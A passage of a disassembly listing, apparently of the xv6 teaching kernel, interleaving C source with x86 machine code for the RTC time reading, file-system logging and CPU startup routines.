(data) : "d" (port)); 80102910: 89 ca mov %ecx,%edx 80102912: ec in (%dx),%al 80102913: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102916: 89 da mov %ebx,%edx 80102918: 89 45 e0 mov %eax,-0x20(%ebp) 8010291b: b8 09 00 00 00 mov $0x9,%eax 80102920: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102921: 89 ca mov %ecx,%edx 80102923: ec in (%dx),%al 80102924: 0f b6 c0 movzbl %al,%eax continue; fill_rtcdate(&t2); if(memcmp(&t1, &t2, sizeof(t1)) == 0) 80102927: 83 ec 04 sub $0x4,%esp return inb(CMOS_RETURN); 8010292a: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(&t1, &t2, sizeof(t1)) == 0) 8010292d: 8d 45 d0 lea -0x30(%ebp),%eax 80102930: 6a 18 push $0x18 80102932: 50 push %eax 80102933: 8d 45 b8 lea -0x48(%ebp),%eax 80102936: 50 push %eax 80102937: e8 74 1e 00 00 call 801047b0 <memcmp> 8010293c: 83 c4 10 add $0x10,%esp 8010293f: 85 c0 test %eax,%eax 80102941: 0f 85 f1 fe ff ff jne 80102838 <cmostime+0x28> break; } // convert if(bcd) { 80102947: 80 7d b3 00 cmpb $0x0,-0x4d(%ebp) 8010294b: 75 78 jne 801029c5 <cmostime+0x1b5> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 8010294d: 8b 45 b8 mov -0x48(%ebp),%eax 80102950: 89 c2 mov %eax,%edx 80102952: 83 e0 0f and $0xf,%eax 80102955: c1 ea 04 shr $0x4,%edx 80102958: 8d 14 92 lea (%edx,%edx,4),%edx 8010295b: 8d 04 50 lea (%eax,%edx,2),%eax 8010295e: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 80102961: 8b 45 bc mov -0x44(%ebp),%eax 80102964: 89 c2 mov %eax,%edx 80102966: 83 e0 0f and $0xf,%eax 80102969: c1 ea 04 shr $0x4,%edx 8010296c: 8d 14 92 lea (%edx,%edx,4),%edx 8010296f: 8d 04 50 lea (%eax,%edx,2),%eax 80102972: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 80102975: 8b 45 c0 mov -0x40(%ebp),%eax 80102978: 89 c2 mov %eax,%edx 8010297a: 83 e0 0f and $0xf,%eax 8010297d: c1 ea 04 shr $0x4,%edx 80102980: 8d 14 92 lea (%edx,%edx,4),%edx 80102983: 8d 04 50 lea (%eax,%edx,2),%eax 80102986: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 80102989: 8b 45 c4 mov -0x3c(%ebp),%eax 8010298c: 89 c2 mov %eax,%edx 8010298e: 83 e0 0f and $0xf,%eax 80102991: c1 ea 04 shr $0x4,%edx 80102994: 8d 14 92 lea (%edx,%edx,4),%edx 80102997: 8d 04 50 lea (%eax,%edx,2),%eax 8010299a: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 8010299d: 8b 45 c8 mov -0x38(%ebp),%eax 801029a0: 89 c2 mov %eax,%edx 801029a2: 83 e0 0f and $0xf,%eax 801029a5: c1 ea 04 shr $0x4,%edx 801029a8: 8d 14 92 lea (%edx,%edx,4),%edx 801029ab: 8d 04 50 lea (%eax,%edx,2),%eax 801029ae: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 801029b1: 8b 45 cc mov -0x34(%ebp),%eax 801029b4: 89 c2 mov %eax,%edx 801029b6: 83 e0 0f and $0xf,%eax 801029b9: c1 ea 04 shr $0x4,%edx 801029bc: 8d 14 92 lea (%edx,%edx,4),%edx 801029bf: 8d 04 50 lea (%eax,%edx,2),%eax 801029c2: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 801029c5: 8b 75 08 mov 0x8(%ebp),%esi 801029c8: 8b 45 b8 mov -0x48(%ebp),%eax 801029cb: 89 06 mov %eax,(%esi) 801029cd: 8b 45 bc mov -0x44(%ebp),%eax 801029d0: 89 46 04 mov %eax,0x4(%esi) 801029d3: 8b 45 c0 mov -0x40(%ebp),%eax 801029d6: 89 46 08 mov %eax,0x8(%esi) 801029d9: 8b 45 c4 mov -0x3c(%ebp),%eax 801029dc: 89 46 0c mov %eax,0xc(%esi) 801029df: 8b 45 c8 mov -0x38(%ebp),%eax 801029e2: 89 46 10 mov %eax,0x10(%esi) 801029e5: 8b 45 cc mov -0x34(%ebp),%eax 801029e8: 89 46 14 mov %eax,0x14(%esi) r->year += 2000; 801029eb: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi) } 801029f2: 8d 65 f4 lea -0xc(%ebp),%esp 801029f5: 5b pop %ebx 801029f6: 5e pop %esi 801029f7: 5f pop %edi 801029f8: 5d pop %ebp 801029f9: c3 ret 801029fa: 66 90 xchg %ax,%ax 801029fc: 66 90 xchg %ax,%ax 801029fe: 66 90 xchg %ax,%ax 80102a00 <install_trans>: static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102a00: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102a06: 85 c9 test %ecx,%ecx 80102a08: 0f 8e 8a 00 00 00 jle 80102a98 <install_trans+0x98> { 80102a0e: 55 push %ebp 80102a0f: 89 e5 mov %esp,%ebp 80102a11: 57 push %edi 80102a12: 56 push %esi 80102a13: 53 push %ebx for (tail = 0; tail < log.lh.n; tail++) { 80102a14: 31 db xor %ebx,%ebx { 80102a16: 83 ec 0c sub $0xc,%esp 80102a19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80102a20: a1 b4 26 11 80 mov 0x801126b4,%eax 80102a25: 83 ec 08 sub $0x8,%esp 80102a28: 01 d8 add %ebx,%eax 80102a2a: 83 c0 01 add $0x1,%eax 80102a2d: 50 push %eax 80102a2e: ff 35 c4 26 11 80 pushl 0x801126c4 80102a34: e8 97 d6 ff ff call 801000d0 <bread> 80102a39: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102a3b: 58 pop %eax 80102a3c: 5a pop %edx 80102a3d: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4) 80102a44: ff 35 c4 26 11 80 pushl 0x801126c4 for (tail = 0; tail < log.lh.n; tail++) { 80102a4a: 83 c3 01 add $0x1,%ebx struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102a4d: e8 7e d6 ff ff call 801000d0 <bread> 80102a52: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 80102a54: 8d 47 5c lea 0x5c(%edi),%eax 80102a57: 83 c4 0c add $0xc,%esp 80102a5a: 68 00 02 00 00 push $0x200 80102a5f: 50 push %eax 80102a60: 8d 46 5c lea 0x5c(%esi),%eax 80102a63: 50 push %eax 80102a64: e8 a7 1d 00 00 call 80104810 <memmove> bwrite(dbuf); // write dst to disk 80102a69: 89 34 24 mov %esi,(%esp) 80102a6c: e8 2f d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 80102a71: 89 3c 24 mov %edi,(%esp) 80102a74: e8 67 d7 ff ff call 801001e0 <brelse> brelse(dbuf); 80102a79: 89 34 24 mov %esi,(%esp) 80102a7c: e8 5f d7 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102a81: 83 c4 10 add $0x10,%esp 80102a84: 39 1d c8 26 11 80 cmp %ebx,0x801126c8 80102a8a: 7f 94 jg 80102a20 <install_trans+0x20> } } 80102a8c: 8d 65 f4 lea -0xc(%ebp),%esp 80102a8f: 5b pop %ebx 80102a90: 5e pop %esi 80102a91: 5f pop %edi 80102a92: 5d pop %ebp 80102a93: c3 ret 80102a94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102a98: f3 c3 repz ret 80102a9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102aa0 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80102aa0: 55 push %ebp 80102aa1: 89 e5 mov %esp,%ebp 80102aa3: 56 push %esi 80102aa4: 53 push %ebx struct buf *buf = bread(log.dev, log.start); 80102aa5: 83 ec 08 sub $0x8,%esp 80102aa8: ff 35 b4 26 11 80 pushl 0x801126b4 80102aae: ff 35 c4 26 11 80 pushl 0x801126c4 80102ab4: e8 17 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102ab9: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx for (i = 0; i < log.lh.n; i++) { 80102abf: 83 c4 10 add $0x10,%esp struct buf *buf = bread(log.dev, log.start); 80102ac2: 89 c6 mov %eax,%esi for (i = 0; i < log.lh.n; i++) { 80102ac4: 85 db test %ebx,%ebx hb->n = log.lh.n; 80102ac6: 89 58 5c mov %ebx,0x5c(%eax) for (i = 0; i < log.lh.n; i++) { 80102ac9: 7e 16 jle 80102ae1 <write_head+0x41> 80102acb: c1 e3 02 shl $0x2,%ebx 80102ace: 31 d2 xor %edx,%edx hb->block[i] = log.lh.block[i]; 80102ad0: 8b 8a cc 26 11 80 mov -0x7feed934(%edx),%ecx 80102ad6: 89 4c 16 60 mov %ecx,0x60(%esi,%edx,1) 80102ada: 83 c2 04 add $0x4,%edx for (i = 0; i < log.lh.n; i++) { 80102add: 39 da cmp %ebx,%edx 80102adf: 75 ef jne 80102ad0 <write_head+0x30> } bwrite(buf); 80102ae1: 83 ec 0c sub $0xc,%esp 80102ae4: 56 push %esi 80102ae5: e8 b6 d6 ff ff call 801001a0 <bwrite> brelse(buf); 80102aea: 89 34 24 mov %esi,(%esp) 80102aed: e8 ee d6 ff ff call 801001e0 <brelse> } 80102af2: 83 c4 10 add $0x10,%esp 80102af5: 8d 65 f8 lea -0x8(%ebp),%esp 80102af8: 5b pop %ebx 80102af9: 5e pop %esi 80102afa: 5d pop %ebp 80102afb: c3 ret 80102afc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102b00 <initlog>: { 80102b00: 55 push %ebp 80102b01: 89 e5 mov %esp,%ebp 80102b03: 53 push %ebx 80102b04: 83 ec 2c sub $0x2c,%esp 80102b07: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&log.lock, "log"); 80102b0a: 68 80 76 10 80 push $0x80107680 80102b0f: 68 80 26 11 80 push $0x80112680 80102b14: e8 f7 19 00 00 call 80104510 <initlock> readsb(dev, &sb); 80102b19: 58 pop %eax 80102b1a: 8d 45 dc lea -0x24(%ebp),%eax 80102b1d: 5a pop %edx 80102b1e: 50 push %eax 80102b1f: 53 push %ebx 80102b20: e8 1b e9 ff ff call 80101440 <readsb> log.size = sb.nlog; 80102b25: 8b 55 e8 mov -0x18(%ebp),%edx log.start = sb.logstart; 80102b28: 8b 45 ec mov -0x14(%ebp),%eax struct buf *buf = bread(log.dev, log.start); 80102b2b: 59 pop %ecx log.dev = dev; 80102b2c: 89 1d c4 26 11 80 mov %ebx,0x801126c4 log.size = sb.nlog; 80102b32: 89 15 b8 26 11 80 mov %edx,0x801126b8 log.start = sb.logstart; 80102b38: a3 b4 26 11 80 mov %eax,0x801126b4 struct buf *buf = bread(log.dev, log.start); 80102b3d: 5a pop %edx 80102b3e: 50 push %eax 80102b3f: 53 push %ebx 80102b40: e8 8b d5 ff ff call 801000d0 <bread> log.lh.n = lh->n; 80102b45: 8b 58 5c mov 0x5c(%eax),%ebx for (i = 0; i < log.lh.n; i++) { 80102b48: 83 c4 10 add $0x10,%esp 80102b4b: 85 db test %ebx,%ebx log.lh.n = lh->n; 80102b4d: 89 1d c8 26 11 80 mov %ebx,0x801126c8 for (i = 0; i < log.lh.n; i++) { 80102b53: 7e 1c jle 80102b71 <initlog+0x71> 80102b55: c1 e3 02 shl $0x2,%ebx 80102b58: 31 d2 xor %edx,%edx 80102b5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi log.lh.block[i] = lh->block[i]; 80102b60: 8b 4c 10 60 mov 0x60(%eax,%edx,1),%ecx 80102b64: 83 c2 04 add $0x4,%edx 80102b67: 89 8a c8 26 11 80 mov %ecx,-0x7feed938(%edx) for (i = 0; i < log.lh.n; i++) { 80102b6d: 39 d3 cmp %edx,%ebx 80102b6f: 75 ef jne 80102b60 <initlog+0x60> brelse(buf); 80102b71: 83 ec 0c sub $0xc,%esp 80102b74: 50 push %eax 80102b75: e8 66 d6 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102b7a: e8 81 fe ff ff call 80102a00 <install_trans> log.lh.n = 0; 80102b7f: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102b86: 00 00 00 write_head(); // clear the log 80102b89: e8 12 ff ff ff call 80102aa0 <write_head> } 80102b8e: 83 c4 10 add $0x10,%esp 80102b91: 8b 5d fc mov -0x4(%ebp),%ebx 80102b94: c9 leave 80102b95: c3 ret 80102b96: 8d 76 00 lea 0x0(%esi),%esi 80102b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102ba0 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102ba0: 55 push %ebp 80102ba1: 89 e5 mov %esp,%ebp 80102ba3: 83 ec 14 sub $0x14,%esp acquire(&log.lock); 80102ba6: 68 80 26 11 80 push $0x80112680 80102bab: e8 a0 1a 00 00 call 80104650 <acquire> 80102bb0: 83 c4 10 add $0x10,%esp 80102bb3: eb 18 jmp 80102bcd <begin_op+0x2d> 80102bb5: 8d 76 00 lea 0x0(%esi),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102bb8: 83 ec 08 sub $0x8,%esp 80102bbb: 68 80 26 11 80 push $0x80112680 80102bc0: 68 80 26 11 80 push $0x80112680 80102bc5: e8 f6 13 00 00 call 80103fc0 <sleep> 80102bca: 83 c4 10 add $0x10,%esp if(log.committing){ 80102bcd: a1 c0 26 11 80 mov 0x801126c0,%eax 80102bd2: 85 c0 test %eax,%eax 80102bd4: 75 e2 jne 80102bb8 <begin_op+0x18> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102bd6: a1 bc 26 11 80 mov 0x801126bc,%eax 80102bdb: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102be1: 83 c0 01 add $0x1,%eax 80102be4: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102be7: 8d 14 4a lea (%edx,%ecx,2),%edx 80102bea: 83 fa 1e cmp $0x1e,%edx 80102bed: 7f c9 jg 80102bb8 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102bef: 83 ec 0c sub $0xc,%esp log.outstanding += 1; 80102bf2: a3 bc 26 11 80 mov %eax,0x801126bc release(&log.lock); 80102bf7: 68 80 26 11 80 push $0x80112680 80102bfc: e8 0f 1b 00 00 call 80104710 <release> break; } } } 80102c01: 83 c4 10 add $0x10,%esp 80102c04: c9 leave 80102c05: c3 ret 80102c06: 8d 76 00 lea 0x0(%esi),%esi 80102c09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102c10 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102c10: 55 push %ebp 80102c11: 89 e5 mov %esp,%ebp 80102c13: 57 push %edi 80102c14: 56 push %esi 80102c15: 53 push %ebx 80102c16: 83 ec 18 sub $0x18,%esp int do_commit = 0; acquire(&log.lock); 80102c19: 68 80 26 11 80 push $0x80112680 80102c1e: e8 2d 1a 00 00 call 80104650 <acquire> log.outstanding -= 1; 80102c23: a1 bc 26 11 80 mov 0x801126bc,%eax if(log.committing) 80102c28: 8b 35 c0 26 11 80 mov 0x801126c0,%esi 80102c2e: 83 c4 10 add $0x10,%esp log.outstanding -= 1; 80102c31: 8d 58 ff lea -0x1(%eax),%ebx if(log.committing) 80102c34: 85 f6 test %esi,%esi log.outstanding -= 1; 80102c36: 89 1d bc 26 11 80 mov %ebx,0x801126bc if(log.committing) 80102c3c: 0f 85 1a 01 00 00 jne 80102d5c <end_op+0x14c> panic("log.committing"); if(log.outstanding == 0){ 80102c42: 85 db test %ebx,%ebx 80102c44: 0f 85 ee 00 00 00 jne 80102d38 <end_op+0x128> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102c4a: 83 ec 0c sub $0xc,%esp log.committing = 1; 80102c4d: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0 80102c54: 00 00 00 release(&log.lock); 80102c57: 68 80 26 11 80 push $0x80112680 80102c5c: e8 af 1a 00 00 call 80104710 <release> } static void commit() { if (log.lh.n > 0) { 80102c61: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102c67: 83 c4 10 add $0x10,%esp 80102c6a: 85 c9 test %ecx,%ecx 80102c6c: 0f 8e 85 00 00 00 jle 80102cf7 <end_op+0xe7> struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102c72: a1 b4 26 11 80 mov 0x801126b4,%eax 80102c77: 83 ec 08 sub $0x8,%esp 80102c7a: 01 d8 add %ebx,%eax 80102c7c: 83 c0 01 add $0x1,%eax 80102c7f: 50 push %eax 80102c80: ff 35 c4 26 11 80 pushl 0x801126c4 80102c86: e8 45 d4 ff ff call 801000d0 <bread> 80102c8b: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c8d: 58 pop %eax 80102c8e: 5a pop %edx 80102c8f: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4) 80102c96: ff 35 c4 26 11 80 pushl 0x801126c4 for (tail = 0; tail < log.lh.n; tail++) { 80102c9c: 83 c3 01 add $0x1,%ebx struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c9f: e8 2c d4 ff ff call 801000d0 <bread> 80102ca4: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102ca6: 8d 40 5c lea 0x5c(%eax),%eax 80102ca9: 83 c4 0c add $0xc,%esp 80102cac: 68 00 02 00 00 push $0x200 80102cb1: 50 push %eax 80102cb2: 8d 46 5c lea 0x5c(%esi),%eax 80102cb5: 50 push %eax 80102cb6: e8 55 1b 00 00 call 80104810 <memmove> bwrite(to); // write the log 80102cbb: 89 34 24 mov %esi,(%esp) 80102cbe: e8 dd d4 ff ff call 801001a0 <bwrite> brelse(from); 80102cc3: 89 3c 24 mov %edi,(%esp) 80102cc6: e8 15 d5 ff ff call 801001e0 <brelse> brelse(to); 80102ccb: 89 34 24 mov %esi,(%esp) 80102cce: e8 0d d5 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102cd3: 83 c4 10 add $0x10,%esp 80102cd6: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx 80102cdc: 7c 94 jl 80102c72 <end_op+0x62> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102cde: e8 bd fd ff ff call 80102aa0 <write_head> install_trans(); // Now install writes to home locations 80102ce3: e8 18 fd ff ff call 80102a00 <install_trans> log.lh.n = 0; 80102ce8: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102cef: 00 00 00 write_head(); // Erase the transaction from the log 80102cf2: e8 a9 fd ff ff call 80102aa0 <write_head> acquire(&log.lock); 80102cf7: 83 ec 0c sub $0xc,%esp 80102cfa: 68 80 26 11 80 push $0x80112680 80102cff: e8 4c 19 00 00 call 80104650 <acquire> wakeup(&log); 80102d04: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) log.committing = 0; 80102d0b: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0 80102d12: 00 00 00 wakeup(&log); 80102d15: e8 66 14 00 00 call 80104180 <wakeup> release(&log.lock); 80102d1a: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102d21: e8 ea 19 00 00 call 80104710 <release> 80102d26: 83 c4 10 add $0x10,%esp } 80102d29: 8d 65 f4 lea -0xc(%ebp),%esp 80102d2c: 5b pop %ebx 80102d2d: 5e pop %esi 80102d2e: 5f pop %edi 80102d2f: 5d pop %ebp 80102d30: c3 ret 80102d31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&log); 80102d38: 83 ec 0c sub $0xc,%esp 80102d3b: 68 80 26 11 80 push $0x80112680 80102d40: e8 3b 14 00 00 call 80104180 <wakeup> release(&log.lock); 80102d45: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102d4c: e8 bf 19 00 00 call 80104710 <release> 80102d51: 83 c4 10 add $0x10,%esp } 80102d54: 8d 65 f4 lea -0xc(%ebp),%esp 80102d57: 5b pop %ebx 80102d58: 5e pop %esi 80102d59: 5f pop %edi 80102d5a: 5d pop %ebp 80102d5b: c3 ret panic("log.committing"); 80102d5c: 83 ec 0c sub $0xc,%esp 80102d5f: 68 84 76 10 80 push $0x80107684 80102d64: e8 27 d6 ff ff call 80100390 <panic> 80102d69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102d70 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102d70: 55 push %ebp 80102d71: 89 e5 mov %esp,%ebp 80102d73: 53 push %ebx 80102d74: 83 ec 04 sub $0x4,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d77: 8b 15 c8 26 11 80 mov 0x801126c8,%edx { 80102d7d: 8b 5d 08 mov 0x8(%ebp),%ebx if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d80: 83 fa 1d cmp $0x1d,%edx 80102d83: 0f 8f 9d 00 00 00 jg 80102e26 <log_write+0xb6> 80102d89: a1 b8 26 11 80 mov 0x801126b8,%eax 80102d8e: 83 e8 01 sub $0x1,%eax 80102d91: 39 c2 cmp %eax,%edx 80102d93: 0f 8d 8d 00 00 00 jge 80102e26 <log_write+0xb6> panic("too big a transaction"); if (log.outstanding < 1) 80102d99: a1 bc 26 11 80 mov 0x801126bc,%eax 80102d9e: 85 c0 test %eax,%eax 80102da0: 0f 8e 8d 00 00 00 jle 80102e33 <log_write+0xc3> panic("log_write outside of trans"); acquire(&log.lock); 80102da6: 83 ec 0c sub $0xc,%esp 80102da9: 68 80 26 11 80 push $0x80112680 80102dae: e8 9d 18 00 00 call 80104650 <acquire> for (i = 0; i < log.lh.n; i++) { 80102db3: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102db9: 83 c4 10 add $0x10,%esp 80102dbc: 83 f9 00 cmp $0x0,%ecx 80102dbf: 7e 57 jle 80102e18 <log_write+0xa8> if (log.lh.block[i] == b->blockno) // log absorbtion 80102dc1: 8b 53 08 mov 0x8(%ebx),%edx for (i = 0; i < log.lh.n; i++) { 80102dc4: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102dc6: 3b 15 cc 26 11 80 cmp 0x801126cc,%edx 80102dcc: 75 0b jne 80102dd9 <log_write+0x69> 80102dce: eb 38 jmp 80102e08 <log_write+0x98> 80102dd0: 39 14 85 cc 26 11 80 cmp %edx,-0x7feed934(,%eax,4) 80102dd7: 74 2f je 80102e08 <log_write+0x98> for (i = 0; i < log.lh.n; i++) { 80102dd9: 83 c0 01 add $0x1,%eax 80102ddc: 39 c1 cmp %eax,%ecx 80102dde: 75 f0 jne 80102dd0 <log_write+0x60> break; } log.lh.block[i] = b->blockno; 80102de0: 89 14 85 cc 26 11 80 mov %edx,-0x7feed934(,%eax,4) if (i == log.lh.n) log.lh.n++; 80102de7: 83 c0 01 add $0x1,%eax 80102dea: a3 c8 26 11 80 mov %eax,0x801126c8 b->flags |= B_DIRTY; // prevent eviction 80102def: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102df2: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp) } 80102df9: 8b 5d fc mov -0x4(%ebp),%ebx 80102dfc: c9 leave release(&log.lock); 80102dfd: e9 0e 19 00 00 jmp 80104710 <release> 80102e02: 8d b6 00 00 00 00 lea 0x0(%esi),%esi log.lh.block[i] = b->blockno; 80102e08: 89 14 85 cc 26 11 80 mov %edx,-0x7feed934(,%eax,4) 80102e0f: eb de jmp 80102def <log_write+0x7f> 80102e11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102e18: 8b 43 08 mov 0x8(%ebx),%eax 80102e1b: a3 cc 26 11 80 mov %eax,0x801126cc if (i == log.lh.n) 80102e20: 75 cd jne 80102def <log_write+0x7f> 80102e22: 31 c0 xor %eax,%eax 80102e24: eb c1 jmp 80102de7 <log_write+0x77> panic("too big a transaction"); 80102e26: 83 ec 0c sub $0xc,%esp 80102e29: 68 93 76 10 80 push $0x80107693 80102e2e: e8 5d d5 ff ff call 80100390 <panic> panic("log_write outside of trans"); 80102e33: 83 ec 0c sub $0xc,%esp 80102e36: 68 a9 76 10 80 push $0x801076a9 80102e3b: e8 50 d5 ff ff call 80100390 <panic> 80102e40 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102e40: 55 push %ebp 80102e41: 89 e5 mov %esp,%ebp 80102e43: 53 push %ebx 80102e44: 83 ec 04 sub $0x4,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102e47: e8 94 09 00 00 call 801037e0 <cpuid> 80102e4c: 89 c3 mov %eax,%ebx 80102e4e: e8 8d 09 00 00 call 801037e0 <cpuid> 80102e53: 83 ec 04 sub $0x4,%esp 80102e56: 53 push %ebx 80102e57: 50 push %eax 80102e58: 68 c4 76 10 80 push $0x801076c4 80102e5d: e8 fe d7 ff ff call 80100660 <cprintf> idtinit(); // load idt register 80102e62: e8 89 2b 00 00 call 801059f0 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102e67: e8 f4 08 00 00 call 80103760 <mycpu> 80102e6c: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102e6e: b8 01 00 00 00 mov $0x1,%eax 80102e73: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102e7a: e8 51 0d 00 00 call 80103bd0 <scheduler> 80102e7f: 90 nop 80102e80 <mpenter>: { 80102e80: 55 push %ebp 80102e81: 89 e5 mov %esp,%ebp 80102e83: 83 ec 08 sub $0x8,%esp switchkvm(); 80102e86: e8 55 3c 00 00 call 80106ae0 <switchkvm> seginit(); 80102e8b: e8 c0 3b 00 00 call 80106a50 <seginit> lapicinit(); 80102e90: e8 9b f7 ff ff call 80102630 <lapicinit> mpmain(); 80102e95: e8 a6 ff ff ff call 80102e40 <mpmain> 80102e9a: 66 90 xchg %ax,%ax 80102e9c: 66 90 xchg %ax,%ax 80102e9e: 66 90 xchg %ax,%ax 80102ea0 <main>: { 80102ea0: 8d 4c 24 04 lea 0x4(%esp),%ecx 80102ea4: 83 e4 f0 and $0xfffffff0,%esp 80102ea7: ff 71 fc pushl -0x4(%ecx) 80102eaa: 55 push %ebp 80102eab: 89 e5 mov %esp,%ebp 80102ead: 53 push %ebx 80102eae: 51 push %ecx kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102eaf: 83 ec 08 sub $0x8,%esp 80102eb2: 68 00 00 40 80 push $0x80400000 80102eb7: 68 a8 57 11 80 push $0x801157a8 80102ebc: e8 2f f5 ff ff call 801023f0 <kinit1> kvmalloc(); // kernel page table 80102ec1: e8 ea 40 00 00 call 80106fb0 <kvmalloc> mpinit(); // detect other processors 80102ec6: e8 75 01 00 00 call 80103040 <mpinit> lapicinit(); // interrupt controller 80102ecb: e8 60 f7 ff ff call 80102630 <lapicinit> seginit(); // segment descriptors 80102ed0: e8 7b 3b 00 00 call 80106a50 <seginit> picinit(); // disable pic 80102ed5: e8 46 03 00 00 call 80103220 <picinit> ioapicinit(); // another interrupt controller 80102eda: e8 41 f3 ff ff call 80102220 <ioapicinit> consoleinit(); // console hardware 80102edf: e8 dc da ff ff call 801009c0 <consoleinit> uartinit(); // serial port 80102ee4: e8 37 2e 00 00 call 80105d20 <uartinit> pinit(); // process table 80102ee9: e8 52 08 00 00 call 80103740 <pinit> tvinit(); // trap vectors 80102eee: e8 7d 2a 00 00 call 80105970 <tvinit> binit(); // buffer cache 80102ef3: e8 48 d1 ff ff call 80100040 <binit> fileinit(); // file table 80102ef8: e8 63 de ff ff call 80100d60 <fileinit> ideinit(); // disk 80102efd: e8 fe f0 ff ff call 80102000 <ideinit> // Write entry code to unused memory at 0x7000. // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102f02: 83 c4 0c add $0xc,%esp 80102f05: 68 8a 00 00 00 push $0x8a 80102f0a: 68 8c a4 10 80 push $0x8010a48c 80102f0f: 68 00 70 00 80 push $0x80007000 80102f14: e8 f7 18 00 00 call 80104810 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102f19: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102f20: 00 00 00 80102f23: 83 c4 10 add $0x10,%esp 80102f26: 05 80 27 11 80 add $0x80112780,%eax 80102f2b: 3d 80 27 11 80 cmp $0x80112780,%eax 80102f30: 76 71 jbe 80102fa3 <main+0x103> 80102f32: bb 80 27 11 80 mov $0x80112780,%ebx 80102f37: 89 f6 mov %esi,%esi 80102f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(c == mycpu()) // We've started already. 80102f40: e8 1b 08 00 00 call 80103760 <mycpu> 80102f45: 39 d8 cmp %ebx,%eax 80102f47: 74 41 je 